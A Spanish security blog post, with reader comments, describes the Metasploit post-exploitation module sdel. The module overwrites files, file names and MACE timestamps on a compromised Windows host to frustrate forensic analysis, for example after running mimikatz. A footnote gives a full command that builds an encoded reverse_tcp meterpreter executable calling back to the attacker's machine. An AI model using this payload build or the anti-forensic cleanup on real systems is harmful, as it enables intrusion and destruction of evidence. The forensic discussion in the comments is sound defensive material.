Recientemente ha sido añadido a Metasploit (rama master) un módulo que nos puede ser interesante de cara a borrar ficheros descargados en el equipo de una víctima desde una sesión de meterpreter.
El módulo en cuestión, sdel, sobreescribe el fichero que queramos el número de veces que le indiquemos, bien con caracteres aleatorios, bien con null bytes (de forma similar al comando shred para Linux. Además, antes del borrado del fichero, sobreescribe su nombre con una cadena larga aleatoria (200 bytes) y modifica los atributos MACE del mismo (fechas de acceso, modificación, creación y entrada en la Master File Table (MFT) por medio de la API priv.fs.set_file_mace tal y como se muestra en su código. Como se ve, las nuevas fechas generadas se corresponderán con la fecha actual menos N días aleatorios.
Es importante destacar que, en el caso de tratarse de sistemas NTFS, si lo que se desea es eliminar ficheros muy pequeños, éstos podrían quedar residentes en el stream descriptor de la MFT y por tanto no serían sobreescritos. El módulo sdel alertaría de ello, avisando de que el fichero que se desea borrar es inferior a 800 bytes. Sdel, por tanto, sobreescribe el contenido del fichero y el slack space (espacio perdido que sobra entre el final del fichero y el clúster que se considera usado), pero no hará un “wipeo” del espacio libre. Es importante tener ésto en cuenta ya que ficheros que usen el cifrado/comprensión de Windows, así como ficheros temporales, podrían quedar repartidos por el disco sin ser sobreescritos.
Como bien indica su descripción, este módulo puede resultarnos muy útil cuando por ejemplo, en la fase de post explotación en un equipo víctima, necesitamos descargar algún fichero ejecutable para realizar alguna acción, y tras ello queremos borrar su contenido con seguridad, de cara a dificultar la tarea de un posible análisis forense a posteriori.
El uso de sdel es sencillo. Para sobreescribir y borrar el fichero deseado, únicamente se tiene que especificar el número de iteraciones (sobreescrituras) que se quieren llevar a cabo, así como el tipo de sobreescritura (aleatoria o null bytes). A continuación las opciones que tiene dicho módulo:
Ahora supongamos el siguiente escenario. Tenemos una sesión de meterpreter [1] en un equipo víctima en el que hemos utilizado la herramienta mimikatz (herramienta que permite el volcado de contraseñas en texto claro de un sistema Windows o la obtención de hashes de la SAM, entre otras características) y tras usarla queremos eliminarla, y para ello ejecutamos sdel indicándole por ejemplo que sobreescriba el fichero 3 veces:
Si tras el borrado con sdel de un fichero comprobamos [2] el contenido del mismo en disco antes y después del borrado, podemos ver que se ha sobreescrito correctamente. En las siguientes capturas se muestra el resultado antes y después del borrado de un fichero de prueba (msf.txt) en disco sobre un sistema de ficheros NTFS.
Como se observa en las imágenes anteriores tanto el nombre en la MTF como el contenido ha sido sobreescrito.
El módulo ha sido desarrollado por el también editor de este blog, Borja Merino (@borjamerino), y podéis usarlo siempre que os aseguréis de tener actualizada la última versión de Metasploit.
—
[1] Para las pruebas realizadas utilicé una VM con Windows 7 (X.X.X.51) y una Backtrack 5 r3 (X.X.X.41) desde la que generé un fichero ejecutable (meterpreter.exe) con el payload windows/meterpreter/reverse_tcp y codificándolo con el algoritmo shikata_ga_nai:
msfpayload windows/meterpreter/reverse_tcp LHOST=X.X.X.41 R | ./msfencode -e x86/shikata_ga_nai -c 10 -t exe -o meterpreter.exe
Ejecutando el fichero meterpreter.exe en la máquina de la víctima y haciendo uso de Metasploit ya obtenemos nuestra reverse shell para conectarnos al equipo víctima:
[2] La herramienta utilizada ha sido WinHex.
Muy buenas noches,
La verdad es que es un módulo muy interesante … pero que nos complica la vida bastante a los que estamos en el lado del forensic.
Así a estas horas de la noche, se me ocurre que el malware aún podría dejar algún que otro rastro (por ejemplo, en el prefetch, donde con suerte nos podríamos hacer con bastante info del binario). Emplear por ejemplo prefetch_info (http://cfed-ttf.blogspot.com.es/2008/02/prefetch-information.html) o WinPrefetchView (http://www.nirsoft.net/utils/win_prefetch_view.html) sería algo habitual en un análisis forense.
Todo esto sin descontar las mil migajas que se quedan en el registro de Windows (que no dan para mucho, pero si se pierde tiempo recopilándolas pueden dar info).
Un enlace interesante sobre el análisis forense del prefetch:
http://www.dfinews.com/article/decoding-prefetch-files-forensic-purposes-part-1
http://www.dfinews.com/article/decoding-prefetch-files-forensic-purposes-part-2
Un saludo,
Antonio Sanz
Universidad de Zaragoza
Hola Antonio,
gracias por el comentario :) Como bien dices sería posible obtener gran cantidad de info a partir del registro o mediante prefetching. En un principio la idea del módulo era sobrescribir el contenido del fichero y no ocultar su existencia, ya que para esto habría que considerar bastantes más detalles. Se me ocurrió hacerlo únicamente para los casos en los que necesitas descargar y ejecutar algo (no necesariamente malware) desde una sesión en meterpreter. Si te fijas en el código (http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/post/windows/manage/sdel.rb) lo único que hago es llamar a la API WriteFile mediante railgun:
client.railgun.kernel32.SetFilePointer(handle,0,nil,”FILE_BEGIN”)
w=client.railgun.kernel32.WriteFile(handle,random,real_size,4,nil)
y sobreescribir su contenido y el slack space. No obstante en una versión posterior intentaré mejorarlo para dificultar lo máximo posible el forense.
Un saludo.